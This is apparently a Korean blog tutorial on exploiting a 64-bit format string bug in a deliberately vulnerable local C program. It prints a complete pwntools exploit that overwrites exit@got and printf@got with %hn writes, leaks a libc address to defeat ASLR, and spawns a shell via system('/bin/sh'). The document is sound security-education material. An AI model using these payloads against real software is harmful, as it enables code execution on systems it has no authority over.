참고자료 : JSec님 블로그(blog.naver.com/yjw_sz/221889244689) |
지난번에 FSB 취약점을 이용하여 shell함수를 exit@got에 덮어보았다.
오늘은 shell함수가 없다..!
* (2)을 보지 않았으면 (2)부터 꼭 보고 (3)번 글을 읽길 바랍니당.
system('/bin/sh')
- system('/bin/sh')는 쉘을 실행하는 시스템 함수이다.
- 포너블 분야에서는 이 함수를 최종적으로 실행하여 익스플로잇에 성공하게 된다
- 이 함수를 실행시키기 위해서는 system 함수의 주소를 구해야 한다.
- ASLR 보호기법이 걸려 있으면 system 함수를 비롯한 모든 라이브러리 함수는 실행할 때마다 주소가 변하게 된다.
- 그래도 프로그램을 실행하는 동안에는 한 주소로 고정이 된다.
- 또한 모든 라이브러리 함수는 고정된 offset 값을 가진다.
- system 함수의 offset이 0x123이라고 가정해 보고, 실제 주소를 구해보자.
libc base가 0x1000라면? system 함수의 주소 : 0x1123
libc base가 0x2000라면? system 함수의 주소 : 0x2123
libc base가 0x3000라면? system 함수의 주소 : 0x3123
libc base가 0x4000라면? system 함수의 주소 : 0x4123
- 이렇게, libc base만 알 수 있다면 system 함수의 실제 주소를 구할 수 있다.
- address = libc_base + offset
* 참고로 ASLR 보호 기법은 ctf문제나 리얼월드나.. 거의 무조건 걸려있어서 libc base를 구하는 것은 필수적이라고 볼 수 있다.
* libc base를 구하는 방법은 아래에서 설명하도록 하겠다.
예제 3
- 예제 1,2는 이전게시물 참고
// fsb_got2.c
// gcc -o fsb_got64_2 fsb_got2.c -no-pie
#include <stdio.h>
/*
void shell(void) {
system("/bin/sh");
}
*/
int main(void) {
char buf[0x100];
read(0, buf, 0x100);
printf(buf); # FSB trigger!!
exit(0);
}
(2)번에서 풀었던 예제와는 다르게 shell함수가 없다.
system() 함수를 호출해서 인자로 '/bin/sh'를 주어 쉘을 따야 한다.
printf 함수에서 포맷스트링을 사용하지 않으니 FSB가 trigger될 수 있다.
Summary
- 첫번째 payalod : exit@got을 main으로 덮는다.
- 두번째 payload : libc 주소를 leak한다.
- 세번째 payload : printf@got를 system 함수로 덮는다.
- 네번째 payload : '/bin/sh'을 전송한다.
이런식으로 총 네번의 payload를 전송해야 한다. 첫번째 payload를 전송하는 것부터 차근차근 살펴보자.
1. 첫번째 payload : exit@got을 main으로 덮는다.
exit@got을 main함수로 덮는 이유는 뭘까?
지금 현재 프로그램상에서는 payload를 한번만 전송할 수밖에 없다. payload를 한 번만 전송해서는 exploit을 할 수가 없다... 그래서 여러번 payload를 전송해주기 위해서 먼저 exit@got을 main함수로 덮어서 exit함수가 실행될 때 다시 main이 실행되게 만들어 줄 필요가 있다.
main = e.symbols['main'] # main 0x400577
exit_got = e.got['exit'] # exit@got 0x601028
main_low = main & 0xffff # 0x028
main_high = (main >> 16) & 0xffff # 0x601
# offset 6
payload = ''
payload += '%{}c'.format(main_high)
payload += '%9$hn'
payload += '%{}c'.format(main_low - main_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)
p.send(payload)
FSB 취약점을 이용해서 원하는 주소에 원하는 값을 쓴다.
exit@got(0x601028) 주소에 main(0x400577)주소를 써줬다.
%[숫자]$hn을 이용하여 2바이트씩 나누어 입력을 해줬다.
2. 두번째 payload : libc 주소를 leak한다.
첫번째 단계에서 exit@got을 main주소로 바꿔준 탓에 exit함수가 실행되면 실제로는 main이 다시 실행되게 된다.
그래서 이제... 두번째 main이 돌고, 다시 read함수로 입력을 받을 수 있어 우리는 payload를 전송할 수 있다.
아무튼 두번째 payload를 한번 작성해보자.
두번째 payload에서는 libc 주소를 leak해야 한다.
대부분의 프로그램에는 __libc_start_main 함수가 존재한다.
이 함수에서 main을 호출하고 main이 종료하면 다시 위의 함수로 돌아간다.
__libc_start_main -> main -> __libc_start_main
따라서 main 함수의 ret 주소는 libc 영역의 주소이다. 이 주소를 leak하면 자연스럽게 libc 영역의 주소를 알 수 있을 것이다.
그래서 우리는 main의 ret 주소를 leak하는 것으로 목표를 삼아야 한다.
main의 ret는 pwndbg의 BACKtRACE에서 아래처럼 확인할 수 있다.
main의 ret는 0x7f42e3790bf7로 __lib_start_main에서 231만큼 떨어져 있다.
우리의 input값은 0x7fffbcc3bb20에 들어가고 우리가 leak할 주소는 0x7fffbcc3bd58에 들어있다.
두 주소간 차이 offset을 구해야 한다.
주소는 8byte로 되어있기 때문에 두 주소를 빼주고 /8을 한 다음, offset 6을 더하면 된다.
왜 offset 6?
payload = ''
payload += 'leak:%77$p'
#pause()
p.sendline(payload)
p.recvuntil('leak:')
leak = int(p.recv(14),16)
log.info('\tleak : '+ hex(leak))
libc_base = leak - libc.symbols['__libc_start_main'] - 231
이렇게 leak을 할 수 있다.
sendline으로 전송한 이유?
read함수로 입력을 받으면 pwntools에서 send함수로 payload를 전송하는 것이 국률인데, 이상하게 여기서 값을 leak할 때, send 함수로 전송해주니까 엔터를 한번 더 쳐야 leak이 됐다.
그래서 어쩔 수 없이(?) sendline으로 전송을 해주었다.
결론 : 나도 잘 모르겠음 ㅠ
libc_base = leak(실제 주소) - offset(여기서는 main의 ret)
main의 ret는 여기서는 __libc_start_main에서 231만큼 떨어져 있는 곳이다.
3. 세번째 payload : printf@got를 system 함수로 덮는다.
최종적으로 우리는 system('/bin/sh') 를 실행시키는 것이 목표이다.
이것을 위해 우리가 생각해야할 건 두가지이다.
- '/bin/sh' 인자를 어떻게 주는가?
- system함수는 어떻게 실행시키는가? (어떤 함수의 got를 overwriting 시키는가?)
...
read(0, buf, 0x100);
printf(buf); // FSB trigger!!
exit(0); // exit@got이 main주소로 변조됨
}
main문의 일부이다.
read함수로 우리의 입력을 받고, printf로 출력을 시킨다음, 다시 main이 실행될 것이다.
입력을 '/bin/sh'로 준다면 저 printf가 system함수면 참 좋겠다~라는 생각을 할 수 있다.
printf@got를 system함수로 overwriting 시키자!
printf_got = e.got['printf'] # printf@got 0x601018
system = libc_base + libc.symbols['system'] # system 0x7f42e37be550
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
low = system_low
if system_middle > system_low:
middle = system_middle - system_low
else:
middle = 0x10000 + system_middle - system_low
if system_high > system_middle:
high = system_high - system_middle
else:
high = 0x10000 + system_high - system_middle
log.info('### main ###')
log.info('[3] input : printf@got -> system')
# offset 6
payload = ''
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)
pause()
p.send(payload)
FSB 취약점으로 원하는 주소에 원하는 값을 쓸 수 있다.
printf@got 0x601018에 system 0x7f42e37be550을 쓸 것이다.
%[숫자]$hn을 이용하여 2바이트씩 넣는다.
최종적으로 이렇게 덮어야 한다.
(실수로 프로그램을 다시 실행시켜 system 주소가 바뀌었다.. ㅠ 얼떨결에 ASLR 인증)
4. 네번째 payload : '/bin/sh'을 전송한다.
이제 네번째 main이다.
이제 printf@got가 system함수로 잘 변조됐으니, 인자로 '/bin/sh'를 줄 차례이다.
p.send('/bin/sh\x00')
exploit code
from pwn import *
p = process('./fsb_got64_2')
e = ELF('./fsb_got64_2')
libc = e.libc
main = e.symbols['main']
exit_got = e.got['exit']
printf_got = e.got['printf']
log.info('\texit@got '+hex(exit_got))
log.info('\tmain '+hex(main))
main_low = main & 0xffff
main_high = (main >> 16) & 0xffff
log.info('### main ###')
log.info('[1] input : exit@got -> main')
# offset 6
payload = ''
payload += '%{}c'.format(main_high)
payload += '%9$hn'
payload += '%{}c'.format(main_low - main_high)
payload += '%10$hn'
payload += 'AAA'
payload += p64(exit_got + 2)
payload += p64(exit_got)
#pause()
p.send(payload)
log.info('### main ###')
log.info('[2] libc leak')
payload = ''
payload += 'leak:%77$p'
#pause()
p.sendline(payload)
p.recvuntil('leak:')
leak = int(p.recv(14),16)
log.info('\tleak : '+ hex(leak))
libc_base = leak - libc.symbols['__libc_start_main'] - 231
system = libc_base + libc.symbols['system']
log.info('\tlibc base '+ hex(libc_base))
log.info('\tprintf@got '+hex(printf_got))
log.info('\tsystem '+hex(system))
###
system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
low = system_low
if system_middle > system_low:
middle = system_middle - system_low
else:
middle = 0x10000 + system_middle - system_low
if system_high > system_middle:
high = system_high - system_middle
else:
high = 0x10000 + system_high - system_middle
log.info('### main ###')
log.info('[3] input : printf@got -> system')
# offset 6
payload = ''
payload += '%{}c'.format(low)
payload += '%11$hn'
payload += '%{}c'.format(middle)
payload += '%12$hn'
payload += '%{}c'.format(high)
payload += '%13$hn'
payload += 'A' * (8 - len(payload) % 8)
payload += p64(printf_got)
payload += p64(printf_got + 2)
payload += p64(printf_got + 4)
pause()
p.send(payload)
log.info('### main ###')
log.info('[4] input : /bin/sh\x00')
p.send('/bin/sh\x00')
p.interactive()
로컬에서 쉘따기~
64bit에서의 fsb를 이해해보았다. (드뎌 끝~ 후)
64bit에서의 fsb는 32bit와 다르게 payload를 작성할 때 주소가 뒤로 가야하는 것을 잊지 말자!
그리고 offset도... 레지스터부터 저장되니까 6부터 시작이다.
나중에 NOTE에다가 간단간단하게 다시 정리할 예정이다.
암튼 여기까지 읽으신 분들 고생 많았슴다
'System Hacking > FSB(Format String Bug)' 카테고리의 다른 글
64bit에서 FSB (Format String Bug) 이해하기 -(2) (0) | 2021.04.21 |
---|---|
64bit에서 FSB (Format String Bug) 이해하기 -(1) (0) | 2021.04.21 |
32bit에서 FSB (Format String Bug) 이해하기 -(3) (완) (2) | 2020.10.10 |
32bit에서 FSB (Format String Bug) 이해하기 -(2) (1) | 2020.10.09 |
32bit에서 FSB (Format String Bug) 이해하기 -(1) (0) | 2020.10.08 |